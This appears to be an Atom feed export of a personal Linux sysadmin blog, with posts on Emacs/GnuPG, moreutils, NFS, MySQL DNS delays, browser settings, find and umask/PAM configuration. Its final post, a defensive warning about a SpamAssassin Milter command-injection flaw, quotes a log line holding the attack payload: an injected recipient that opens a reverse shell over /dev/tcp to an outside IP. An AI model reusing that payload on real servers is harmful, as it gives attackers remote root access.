<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8782655015037910925</id><updated>2012-01-03T10:18:40.726-08:00</updated><category term='fs'/><category term='mail'/><category term='tools'/><category term='vulnerability'/><category term='lvm'/><category term='dbus'/><category term='chrome'/><category term='browsers'/><category term='firefox'/><category term='troubleshooting'/><category term='encryption'/><category term='accessibility'/><category term='find'/><category term='rrdtool'/><category term='git'/><category term='python'/><category term='nginx'/><category term='domain'/><category term='windows'/><category term='freebsd'/><category term='performance'/><category term='nfs'/><category term='umask'/><category term='raid'/><category term='opera'/><category term='gpo'/><category term='linux'/><category term='gnupg'/><category term='lotus'/><category term='screen'/><category term='emacs'/><category term='mysql'/><category term='w2k'/><category term='php'/><category term='conkeror'/><category term='stumpwm'/><category term='nagios'/><category term='monitoring'/><category term='memory'/><category term='sendmail'/><category term='file permissions'/><category term='pinba'/><category term='logrotate'/><category term='desktop'/><category term='xtrabackup'/><category term='dns'/><category term='unix'/><category term='reference'/><category term='search'/><category term='easypg'/><category term='fun'/><category term='version control'/><category term='ubuntu'/><category term='amarok'/><category term='account'/><category term='gmail'/><category term='tangential'/><category term='svn'/><category term='google'/><title type='text'>DM@Work</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>45</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-6303314244677920359</id><published>2012-01-03T10:01:00.000-08:00</published><updated>2012-01-03T10:18:40.739-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gnupg'/><category scheme='http://www.blogger.com/atom/ns#' term='easypg'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='emacs'/><title type='text'>Getting rid of GUI password prompt in EasyPG</title><content type='html'>&lt;p&gt;&lt;a href="http://www.emacswiki.org/emacs/EasyPG"&gt;EasyPG&lt;/a&gt; is a package used by GNU Emacs to simplify work with files encrypted by GnuPG (GPG). Extremely useful package, it has a bad habit of relying on external tools to prompt for the password. One of such tools is 'gpg-agent'. In Debian/Ubuntu this agent usually replaces 'ssh-agent'. It's a good tool, but it uses a GUI dialog to prompt for the password. This makes your work with EasyPG and Emacs rather uncomfortable.&lt;/p&gt;
&lt;p&gt;There's &lt;a href="http://www.emacswiki.org/emacs/EasyPG#toc4"&gt;a number of advices&lt;/a&gt; on how you can suppress that GUI dialog. I prefer another one, I simply removed 'gpg-agent'. It did not affect the functionality, since it was replaced by 'ssh-agent'. Now, EasyPG prompts for the password in Emacs mini-buffer&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-6303314244677920359?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/6303314244677920359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2012/01/getting-rid-of-gui-password-prompt-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/6303314244677920359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/6303314244677920359'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2012/01/getting-rid-of-gui-password-prompt-in.html' title='Getting rid of GUI password prompt in EasyPG'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-4839103558296198220</id><published>2011-12-14T02:14:00.000-08:00</published><updated>2011-12-14T02:23:56.340-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>moreutils</title><content type='html'>&lt;p&gt;Discovered 'moreutils' package in Ubuntu. It features a list of nice tools, of which my favorite are 'ts', 'pee' and 'vipe'.&lt;/p&gt;
&lt;p&gt;'ts' puts timestamps to every line of text that is piped through it. Like,&lt;/p&gt;
&lt;pre&gt;
$ ping google.com|ts
Dec 14 14:18:45 PING google.com (209.85.173.104) 56(84) bytes of data.
Dec 14 14:18:45 64 bytes from lpp01m01-in-f104.1e100.net (209.85.173.104): icmp_seq=1 ttl=52 time=88.5 ms
Dec 14 14:18:46 64 bytes from lpp01m01-in-f104.1e100.net (209.85.173.104): icmp_seq=2 ttl=52 time=92.5 ms
Dec 14 14:18:47 64 bytes from lpp01m01-in-f104.1e100.net (209.85.173.104): icmp_seq=3 ttl=52 time=90.5 ms
&lt;/pre&gt;
&lt;p&gt;I love timestamps! I put them everywhere I can, it helps so much to find out later what was going on. 'ts' will certainly help me.&lt;/p&gt;
&lt;p&gt;Another tool is 'pee'. As 'man pee' puts it, it's like 'tee', but for pipes. 'pee' reads standard input and sends it to a number of commands supplied as arguments to 'pee'. Like,&lt;/p&gt;
&lt;pre&gt;$ cat file.txt |pee 'wc -c' 'wc -w' 'wc -l'
5870
257
257&lt;/pre&gt;
&lt;p&gt;And, finally, 'vipe' — it's a way to edit data produced by one program before they are piped into another one. 'sed' is good enough, but when some interactivity is needed, 'vipe' should be handy.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-4839103558296198220?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/4839103558296198220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2011/12/moreutils.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/4839103558296198220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/4839103558296198220'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2011/12/moreutils.html' title='moreutils'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-2667862679926932238</id><published>2011-11-23T02:56:00.000-08:00</published><updated>2011-11-23T02:58:05.288-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gmail'/><category scheme='http://www.blogger.com/atom/ns#' term='mail'/><title type='text'>Real conversations in Gmail</title><content type='html'>&lt;p&gt;Organizing your email in the Gmail way, by conversation, is very
handy. What always annoyed me in the Google implementation was that
the sent emails did not appear in the default folder. I know it is
called Inbox. But sent messages do appear there, too, as soon as the
recipient replies to me.    &lt;/p&gt;

&lt;p&gt;When I used other email clients, like Pine or Thunderbird, I used
to set up FCC (folder carbon copy) in the outgoing messages to my
Inbox. This gave me a conversation-like structure better than the
one found in Gmail. Finally, I have the same structure in Gmail.     &lt;/p&gt;

&lt;p&gt;To see all your outgoing messages in (so called) Inbox, even when
there are no replies in the conversation, create a new filter. Put
your address to the From: field. Click "Next Step". Select "Never send
it to Spam" and "Create Filter". That's it.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-2667862679926932238?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/2667862679926932238/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2011/11/real-conversations-in-gmail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2667862679926932238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2667862679926932238'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2011/11/real-conversations-in-gmail.html' title='Real conversations in Gmail'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-176580721715302334</id><published>2011-11-10T04:28:00.001-08:00</published><updated>2011-11-10T04:32:06.628-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><category scheme='http://www.blogger.com/atom/ns#' term='nfs'/><title type='text'>Update list of directories exported by NFS on the fly</title><content type='html'>&lt;p&gt;NFS configuration rarely changes on my servers and I always forget how the file &lt;code&gt;/etc/exports&lt;/code&gt; may be re-read without stopping the NFS daemon:&lt;/p&gt;

&lt;pre&gt;exportfs -r&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-176580721715302334?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/176580721715302334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2011/11/update-list-of-directories-exported-by.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/176580721715302334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/176580721715302334'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2011/11/update-list-of-directories-exported-by.html' title='Update list of directories exported by NFS on the fly'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-3928812989739996158</id><published>2011-08-16T02:18:00.001-07:00</published><updated>2011-08-16T02:34:38.832-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='troubleshooting'/><category scheme='http://www.blogger.com/atom/ns#' term='dns'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><title type='text'>The case of slow MySQL connect</title><content type='html'>&lt;p&gt;Quite of a sudden, PHP scripts on one of my servers became very slow. Other servers worked fine. PHP-FPM logs showed that the biggest delays happened during database operations. The database server, though, recorded nothing in the mysql-slow.log.&lt;/p&gt;
&lt;p&gt;Then, we had a look at the process list in MySQL. There were some dozens of lines like these:&lt;/p&gt;
&lt;pre&gt;
| 1409888 | unauthenticated user | 11.11.11.11:59585    | NULL | Connect     |   NULL | login                                                          | NULL             |
| 1409889 | unauthenticated user | 11.11.11.11:59584    | NULL | Connect     |   NULL | login                                                          | NULL             |
| 1409890 | unauthenticated user | 11.11.11.11:59587    | NULL | Connect     |   NULL | login                                                          | NULL             |
&lt;/pre&gt;
&lt;p&gt;where 11.11.11.11 is the IP address of that application server whence the connection was opened. Google said that these messages usually indicate at DNS problems. One of possible solutions would be to restart MySQL with &lt;code&gt;--skip-name-resolve&lt;/code&gt; option, but we didn't want to stop the database. So, we added the hostname of the application server to the &lt;code&gt;/etc/hosts&lt;/code&gt; file on the database server, and voilá! Unauthenticated users were gone in some seconds and the performance was restored. &lt;/p&gt;
&lt;p&gt;The hosting company had informed us before of the planned maintenance, but they only mentioned their own website and their 'whois' server. They must have done something wrong with their DNS servers, too, which caused our database accept new connections very slowly.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-3928812989739996158?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/3928812989739996158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2011/08/case-of-slow-mysql-connect.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/3928812989739996158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/3928812989739996158'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2011/08/case-of-slow-mysql-connect.html' title='The case of slow MySQL connect'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-5806673356801885396</id><published>2011-07-21T00:50:00.000-07:00</published><updated>2011-07-21T04:11:33.144-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='accessibility'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='chrome'/><title type='text'>Browsers: use TAB to move between form fields</title><content type='html'>&lt;p&gt;In Firefox, there's a useful setting that allows you to use TAB key to move between form fields only, skipping links. To do so, open "about:config" page, find "accessibility.tabfocus" variable and set it to 3. It took me quite some time to make Chromium to behave in a similar way. This solution was found &lt;a href="https://code.google.com/p/chromium/issues/detail?id=31177"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Edit ~/.config/chromium/Default/Preferences. Find the section called `webprefs`. Add the following line at the beginning of the section:&lt;/p&gt;
&lt;pre&gt;        "tabs_to_links": false,&lt;/pre&gt;
&lt;p&gt;You can add the line at any place of the section, actually, but keep an eye on commas, they should appear at the end of all lines but the last one. The recipe was not tested on Google Chrome, but I see no reasons why it shouldn't work.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-5806673356801885396?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/5806673356801885396/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2011/07/browsers-use-tab-to-move-between-form.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5806673356801885396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5806673356801885396'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2011/07/browsers-use-tab-to-move-between-form.html' title='Browsers: use TAB to move between form fields'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-739243745408757324</id><published>2011-07-16T12:25:00.000-07:00</published><updated>2011-07-16T12:38:09.720-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freebsd'/><title type='text'>Lennart Poettering and the death of BSD</title><content type='html'>&lt;p&gt;Lennart Poettering, the author of Avahi, the most often purged package in Linux, &lt;a href="http://linuxfr.org/nodes/86687/comments/1249943"&gt;thinks that BSD isn't relevant anymore&lt;/a&gt;. What other proof do you need that BSD is still alive and kicking?&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-739243745408757324?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/739243745408757324/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2011/07/lennart-poettering-and-death-of-bsd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/739243745408757324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/739243745408757324'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2011/07/lennart-poettering-and-death-of-bsd.html' title='Lennart Poettering and the death of BSD'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-5804219443698783911</id><published>2011-06-27T04:38:00.001-07:00</published><updated>2011-06-27T04:38:45.904-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='find'/><title type='text'>Performing more than one search in one pass of 'find'</title><content type='html'>&lt;p&gt;&lt;code&gt;find&lt;/code&gt; is a utility that searches a directory tree for
files matching complex conditions.  The conditions may include file
name, file type, creation/modification time, owner, permissions and
others. Besides, you can define an action to be performed on the files
that match your search criteria.  &lt;/p&gt;

&lt;p&gt;When I have to run a number of searches, I usually do it
sequentially, but the process may take too much time if the number of
files &lt;code&gt;find&lt;/code&gt; has to inspect is very large. It turns out
that you can define multiple sets of conditions in &lt;code&gt;find&lt;/code&gt;
and perform different actions on files that match different
conditions. The utility will traverse the directory only once. &lt;/p&gt;

&lt;p&gt;This is how you can define multiple conditions and actions in one
pass of &lt;code&gt;find&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;
find /data \( ! -group mygroup -exec chgrp mygroup {} \; \) , \
                   \( -type f ! -perm -g=rw -exec chmod g+rw {} \; \) , \
                   \( -type d ! -perm -g=rws -exec chmod g+rws {} \; \)
&lt;/pre&gt;

&lt;p&gt;This command will change group owner for all files that do not
belong to &lt;code&gt;mygroup&lt;/code&gt;, set read and write permissions for the
owning group if the file is a regular file, set read, write and setgid
permissions if the file is a directory. All in a single pass. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-5804219443698783911?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/5804219443698783911/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2011/06/performing-more-than-one-search-in-one.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5804219443698783911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5804219443698783911'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2011/06/performing-more-than-one-search-in-one.html' title='Performing more than one search in one pass of &apos;find&apos;'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-815398480111644384</id><published>2011-04-20T02:46:00.000-07:00</published><updated>2011-04-20T02:54:57.507-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='file permissions'/><category scheme='http://www.blogger.com/atom/ns#' term='umask'/><title type='text'>How to change default `umask' in Linux. File permissions for collaborative environment</title><content type='html'>&lt;p&gt;&lt;a href="http://www.uncarved.com/blog/umasks.mrk" &gt;&lt;code&gt;Umask&lt;/code&gt;&lt;/a&gt; is a command and value that defines what
permissions newly created files and directories will have. Had it not
been for &lt;code&gt;umask&lt;/code&gt;, every file you create would have had
permissions set to 666 (u=rw,g=rw,o=rw), and every directory would
have had 777 (u=rwx,g=rwx,o=rwx). But
the value of &lt;code&gt;umask&lt;/code&gt; is subtracted from 666 and the
difference is used as the permissions for the new file. Usually, the
default &lt;code&gt;umask&lt;/code&gt; is 022, which leaves us with 644 (owner can
read and write, others can read the file). The value of
&lt;code&gt;umask&lt;/code&gt; may be different for different users. This is done
with the command of the same name (search for &lt;code&gt;'umask'&lt;/code&gt; in
&lt;code&gt;`man bash`&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Frankly, I find the choice of the default value for
&lt;code&gt;umask&lt;/code&gt; rather strange. Suppose you have a server where
five people work on a web application and they have their own
accounts. The code is stored in a version control system. These five
people should have enough permissions to check out new code. When one
of them adds a new file to the repository and then checks it out, the
file belongs to this user and cannot be modified by the
others. Solutions might be either to grant write permissions to
everyone (&lt;code&gt;chmod 666 filename&lt;/code&gt;) or to change the group
ownership of the file to some group to which all five developers
belong and grant write permissions to that group. The first solution
is insecure. As for the second one, we can use a simple trick to
maintain group ownership of all files in the project.  &lt;/p&gt;

&lt;p&gt;Among various permissions you can set with &lt;code&gt;chmod&lt;/code&gt; there
is one called &lt;a href="https://secure.wikimedia.org/wikipedia/en/wiki/Setuid#setuid_and_setgid_on_directories" &gt;&lt;code&gt;setgid&lt;/code&gt;&lt;/a&gt;. When this bit is set on a
directory, all files and directories created in this directory will
have the same group ownership as this directory. So, we only have to
grant write permissions to the group-owner in order to work in
collaboration with other users. To grant the necessary permissions
automatically, we could set the &lt;code&gt;umask&lt;/code&gt; value to 002. This
is done using simple command &lt;code&gt;'umask 002'&lt;/code&gt;, but is there a
way to set this as a default value for all users? &lt;/p&gt;

&lt;p&gt;&lt;code&gt;Umask&lt;/code&gt; may be modified in
&lt;code&gt;/etc/profile&lt;/code&gt;. For example, in Ubuntu Linux, this file
contains the following line:    &lt;/p&gt;

&lt;code&gt;
umask 022
&lt;/code&gt;

&lt;p&gt;By changing the value to 002, we'll change the umask for all users
who log in using shells which execute &lt;code&gt;/etc/profile&lt;/code&gt;. Watch
out, though. There are some situations when this file is not run. For
example, &lt;code&gt;cron&lt;/code&gt; executes all commands using default umask
022. How do we tackle this problem?  &lt;/p&gt;

&lt;p&gt;Another way to change umask is to use &lt;a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/Linux-PAM_SAG.html" &gt;PAM (Pluggable Authentication
Modules)&lt;/a&gt;, the subsystem for adding various features to login
process. One of these modules is called &lt;a href="http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_umask.html" &gt;&lt;code&gt;pam_umask&lt;/code&gt;&lt;/a&gt;. It
allows for setting default &lt;code&gt;umask&lt;/code&gt; for all users. We
have to enable this module for both interactive and non-interactive
sessions. In Ubuntu, configuration files of PAM are stored in
/etc/pam.d. Make sure you have module &lt;code&gt;pam_umask&lt;/code&gt; installed
(package libpam-modules) and edit two files, &lt;code&gt;common-session&lt;/code&gt; and
&lt;code&gt;common-session-noninteractive&lt;/code&gt;, adding one line in the end
of each of them:&lt;/p&gt;
&lt;code&gt;session optional        pam_umask.so umask=002&lt;/code&gt;
&lt;p&gt;NB! If I understand correctly, you have to run
&lt;code&gt;pam-auth-update&lt;/code&gt; so PAM would reread the configuration.&lt;/p&gt;

&lt;p&gt;CAVEAT 1: &lt;code&gt;umask&lt;/code&gt; may be set in users'
&lt;code&gt;~/.profile&lt;/code&gt;, so make sure it is not!&lt;/p&gt;

&lt;p&gt;CAVEAT 2: There are some especially badly written programs that
have &lt;code&gt;umask&lt;/code&gt; hardcoded. Gnome is
notorious for having such bugs (e.g., see &lt;a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=336214" &gt;bug
#336214&lt;/a&gt;). My advice would be: do NOT use GDM or Nautilus. Or Gnome, or KDE,
for that matter :).&lt;/p&gt;

&lt;p&gt;So, to sum it up. To set up a collaborative environment, we have
to:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;create a new group: &lt;code&gt;addgroup team&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;add users to this group: &lt;code&gt;adduser user1 team&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;create new directory: &lt;code&gt;mkdir /var/www/project&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;change group ownership for the directory: &lt;code&gt;chgrp team
  /var/www/project&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;change the permissions for the directory: &lt;code&gt;chmod g+sw
  /var/www/project&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;edit PAM config files, adding &lt;code&gt;pam_umask.so&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now, every file that &lt;code&gt;user1&lt;/code&gt; creates in
&lt;code&gt;/var/www/project&lt;/code&gt; will be writable for all users in the
&lt;code&gt;team&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Pardon me for repeating myself, but I do find the default value of
&lt;code&gt;umask&lt;/code&gt; unreasonable. 022 is often explained by security
concerns, but it does not allow the group members to edit the file,
but instead grants read rights to everyone! I could understand, say,
027, which bans read access to those outside the group, or 002, which
grants write access to the group. Perhaps, 007 would be a good
compromise. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-815398480111644384?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/815398480111644384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2011/04/how-to-change-default-umask-in-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/815398480111644384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/815398480111644384'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2011/04/how-to-change-default-umask-in-linux.html' title='How to change default `umask&apos; in Linux. File permissions for collaborative environment'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-6611262847147442266</id><published>2011-02-14T02:40:00.000-08:00</published><updated>2011-02-14T03:06:10.097-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sendmail'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>Vulnerability in Spamassassin milter plugin</title><content type='html'>&lt;p&gt;Owners of sendmail/postfix with the Spamassassin Milter plugin, watch out! Exploit is in the wild:&lt;br&gt; &lt;a href="http://seclists.org/fulldisclosure/2010/Mar/140"&gt;Spamassassin Milter Plugin Remote Root&lt;/a&gt;,&lt;br&gt; &lt;a href="http://www.securityfocus.com/bid/38578"&gt;SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability&lt;/a&gt;,&lt;br&gt; &lt;a href="http://www.gossamer-threads.com/lists/spamassassin/users/160211"&gt;ET EXPLOIT Possible SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Check your logs for mail like this:&lt;/p&gt;
&lt;code&gt;
Feb 13 20:31:55 host sm-mta[21734]: p1DHVtxv021734: from=blue@dick.com, size=0, class=0, nrcpts=0, proto=SMTP, daemon=MTA-v4, relay=eluxenia.com [62.149.195.3]
&lt;/code&gt;

&lt;p&gt;If the system is not vulnerable, sendmail would reply with:&lt;/p&gt;
&lt;code&gt;
Feb 13 20:31:55 host sm-mta[21734]: p1DHVtxv021734: root+:"|exec /bin/sh 0&amp;lt;/dev/tcp/87.106.250.176/45295 1&amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0"... Cannot mail directly to programs
&lt;/code&gt;
